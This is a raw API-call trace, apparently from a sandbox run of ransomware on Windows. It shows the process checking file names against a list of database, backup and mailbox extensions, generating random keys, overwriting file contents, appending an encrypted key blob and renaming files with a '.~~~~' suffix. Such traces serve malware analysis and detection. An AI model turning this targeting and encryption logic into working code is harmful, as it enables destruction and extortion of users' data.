	[0076.862] lstrlenW (lpString=".bdb") returned 4
	[0076.862] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".bdb") returned 0x0
	[0076.862] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.862] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3ac250
	[0076.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.862] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0076.864] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.864] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0076.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0076.864] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19685424748) returned 1
	[0076.864] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x97b61a70, dwHighDateTime=0x1d60e1e)) 
	[0076.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0076.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0076.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0076.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3958
	[0076.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3958 | out: hHeap=0x300000) returned 1
	[0076.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa5b0
	[0076.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa5b0 | out: hHeap=0x300000) returned 1
	[0076.865] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0076.865] GetLastError () returned 0x0
	[0076.865] GetLastError () returned 0x0
	[0076.865] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0076.865] GetLastError () returned 0x0
	[0076.865] GetLastError () returned 0x0
	[0076.865] ReadFile (in: hFile=0x130, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.869] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.869] WriteFile (in: hFile=0x130, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.871] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0076.871] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.871] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.873] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.873] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.873] CloseHandle (hObject=0x130) returned 1
	[0076.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0076.873] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.~~~~")) returned 1
	[0076.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0068 | out: hHeap=0x300000) returned 1
	[0076.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0076.874] GetLastError () returned 0x0
	[0076.877] RtlWakeConditionVariable () returned 0x365f70
	[0076.877] GetCurrentThreadId () returned 0x9cc
	[0076.877] GetCurrentThreadId () returned 0x9cc
	[0076.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7cd8
	[0076.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa8f8 | out: hHeap=0x300000) returned 1
	[0076.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3a00 | out: hHeap=0x300000) returned 1
	[0076.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa8f8
	[0076.877] lstrlenW (lpString=".scr") returned 4
	[0076.877] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".scr") returned 0x0
	[0076.877] lstrlenW (lpString=".cmd") returned 4
	[0076.877] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".cmd") returned 0x0
	[0076.877] lstrlenW (lpString=".dll") returned 4
	[0076.877] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dll") returned 0x0
	[0076.877] lstrlenW (lpString=".bat") returned 4
	[0076.877] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".bat") returned 0x0
	[0076.877] lstrlenW (lpString=".cpl") returned 4
	[0076.877] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".cpl") returned 0x0
	[0076.877] lstrlenW (lpString=".sys") returned 4
	[0076.877] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".sys") returned 0x0
	[0076.877] lstrlenW (lpString=".msc") returned 4
	[0076.877] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".msc") returned 0x0
	[0076.877] lstrlenW (lpString=".com") returned 4
	[0076.877] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".com") returned 0x0
	[0076.878] lstrlenW (lpString=".lnk") returned 4
	[0076.878] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".lnk") returned 0x0
	[0076.878] lstrlenW (lpString=".msp") returned 4
	[0076.878] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".msp") returned 0x0
	[0076.878] lstrlenW (lpString=".pif") returned 4
	[0076.878] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".pif") returned 0x0
	[0076.878] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.878] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0076.878] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0076.878] lstrlenW (lpString=".sqb") returned 4
	[0076.878] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".sqb") returned 0x0
	[0076.878] lstrlenW (lpString=".ost") returned 4
	[0076.878] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".ost") returned 0x0
	[0076.878] lstrlenW (lpString=".txt") returned 4
	[0076.878] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".txt") returned 0x0
	[0076.878] lstrlenW (lpString=".mdt") returned 4
	[0076.878] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".mdt") returned 0x0
	[0076.879] lstrlenW (lpString=".BDB") returned 4
	[0076.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".BDB") returned 0x0
	[0076.879] lstrlenW (lpString=".eql") returned 4
	[0076.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".eql") returned 0x0
	[0076.879] lstrlenW (lpString=".DBF") returned 4
	[0076.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DBF") returned 0x0
	[0076.879] lstrlenW (lpString=".EQL") returned 4
	[0076.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".EQL") returned 0x0
	[0076.879] lstrlenW (lpString=".FDB") returned 4
	[0076.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".FDB") returned 0x0
	[0076.879] lstrlenW (lpString=".EDB") returned 4
	[0076.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".EDB") returned 0x0
	[0076.879] lstrlenW (lpString=".DACPAC") returned 7
	[0076.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DACPAC") returned 0x0
	[0076.879] lstrlenW (lpString=".VHD") returned 4
	[0076.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".VHD") returned 0x0
	[0076.879] lstrlenW (lpString=".DBV") returned 4
	[0076.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DBV") returned 0x0
	[0076.879] lstrlenW (lpString=".dacpac") returned 7
	[0076.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dacpac") returned 0x0
	[0076.879] lstrlenW (lpString=".sdf") returned 4
	[0076.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".sdf") returned 0x0
	[0076.879] lstrlenW (lpString=".accdb") returned 6
	[0076.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".accdb") returned 0x0
	[0076.879] lstrlenW (lpString=".DBX") returned 4
	[0076.879] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DBX") returned 0x0
	[0076.880] lstrlenW (lpString=".MDT") returned 4
	[0076.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".MDT") returned 0x0
	[0076.880] lstrlenW (lpString=".SQB") returned 4
	[0076.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".SQB") returned 0x0
	[0076.880] lstrlenW (lpString=".vhd") returned 4
	[0076.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".vhd") returned 0x0
	[0076.880] lstrlenW (lpString=".bac") returned 4
	[0076.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".bac") returned 0x0
	[0076.880] lstrlenW (lpString=".mdf") returned 4
	[0076.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".mdf") returned 0x0
	[0076.880] lstrlenW (lpString=".BAK") returned 4
	[0076.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".BAK") returned 0x0
	[0076.880] lstrlenW (lpString=".BAC") returned 4
	[0076.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".BAC") returned 0x0
	[0076.880] lstrlenW (lpString=".dbs") returned 4
	[0076.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dbs") returned 0x0
	[0076.880] lstrlenW (lpString=".vhdx") returned 5
	[0076.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".vhdx") returned 0x0
	[0076.880] lstrlenW (lpString=".NDF") returned 4
	[0076.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".NDF") returned 0x0
	[0076.880] lstrlenW (lpString=".dat") returned 4
	[0076.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dat") returned 0x0
	[0076.880] lstrlenW (lpString=".DBS") returned 4
	[0076.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DBS") returned 0x0
	[0076.880] lstrlenW (lpString=".CKP") returned 4
	[0076.880] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".CKP") returned 0x0
	[0076.880] lstrlenW (lpString=".edb") returned 4
	[0076.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".edb") returned 0x0
	[0076.881] lstrlenW (lpString=".PST") returned 4
	[0076.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".PST") returned 0x0
	[0076.881] lstrlenW (lpString=".dbf") returned 4
	[0076.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dbf") returned 0x0
	[0076.881] lstrlenW (lpString=".SQL") returned 4
	[0076.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".SQL") returned 0x0
	[0076.881] lstrlenW (lpString=".pst") returned 4
	[0076.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".pst") returned 0x0
	[0076.881] lstrlenW (lpString=".dbv") returned 4
	[0076.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dbv") returned 0x0
	[0076.881] lstrlenW (lpString=".SDF") returned 4
	[0076.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".SDF") returned 0x0
	[0076.881] lstrlenW (lpString=".dtxs") returned 5
	[0076.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dtxs") returned 0x0
	[0076.881] lstrlenW (lpString=".db3") returned 4
	[0076.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".db3") returned 0x0
	[0076.881] lstrlenW (lpString=".OST") returned 4
	[0076.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".OST") returned 0x0
	[0076.881] lstrlenW (lpString=".dbx") returned 4
	[0076.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dbx") returned 0x0
	[0076.881] lstrlenW (lpString=".DB3") returned 4
	[0076.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DB3") returned 0x0
	[0076.881] lstrlenW (lpString=".DAT") returned 4
	[0076.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DAT") returned 0x0
	[0076.881] lstrlenW (lpString=".VHDX") returned 5
	[0076.881] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".VHDX") returned 0x0
	[0076.882] lstrlenW (lpString=".ndf") returned 4
	[0076.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".ndf") returned 0x0
	[0076.882] lstrlenW (lpString=".DB") returned 3
	[0076.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DB") returned 0x0
	[0076.882] lstrlenW (lpString=".sql") returned 4
	[0076.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".sql") returned 0x0
	[0076.882] lstrlenW (lpString=".MYD") returned 4
	[0076.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".MYD") returned 0x0
	[0076.882] lstrlenW (lpString=".DBT") returned 4
	[0076.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DBT") returned 0x0
	[0076.882] lstrlenW (lpString=".ACCDB") returned 6
	[0076.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".ACCDB") returned 0x0
	[0076.882] lstrlenW (lpString=".fdb") returned 4
	[0076.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".fdb") returned 0x0
	[0076.882] lstrlenW (lpString=".bak") returned 4
	[0076.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".bak") returned 0x0
	[0076.882] lstrlenW (lpString=".myd") returned 4
	[0076.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".myd") returned 0x0
	[0076.882] lstrlenW (lpString=".DTXS") returned 5
	[0076.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".DTXS") returned 0x0
	[0076.882] lstrlenW (lpString=".ckp") returned 4
	[0076.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".ckp") returned 0x0
	[0076.882] lstrlenW (lpString=".dbt") returned 4
	[0076.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".dbt") returned 0x0
	[0076.882] lstrlenW (lpString=".db") returned 3
	[0076.882] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".db") returned 0x0
	[0076.883] lstrlenW (lpString=".TXT") returned 4
	[0076.883] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".TXT") returned 0x0
	[0076.883] lstrlenW (lpString=".MDF") returned 4
	[0076.883] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".MDF") returned 0x0
	[0076.883] lstrlenW (lpString=".bdb") returned 4
	[0076.883] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".bdb") returned 0x0
	[0076.883] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.883] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3ac250
	[0076.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.883] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0076.884] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.884] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0076.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0076.884] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19687462122) returned 1
	[0076.885] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x97b87bd0, dwHighDateTime=0x1d60e1e)) 
	[0076.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0076.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0076.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0076.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3a00
	[0076.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3a00 | out: hHeap=0x300000) returned 1
	[0076.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e8170
	[0076.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8170 | out: hHeap=0x300000) returned 1
	[0076.885] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0076.885] GetLastError () returned 0x0
	[0076.886] GetLastError () returned 0x0
	[0076.886] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0076.886] GetLastError () returned 0x0
	[0076.886] GetLastError () returned 0x0
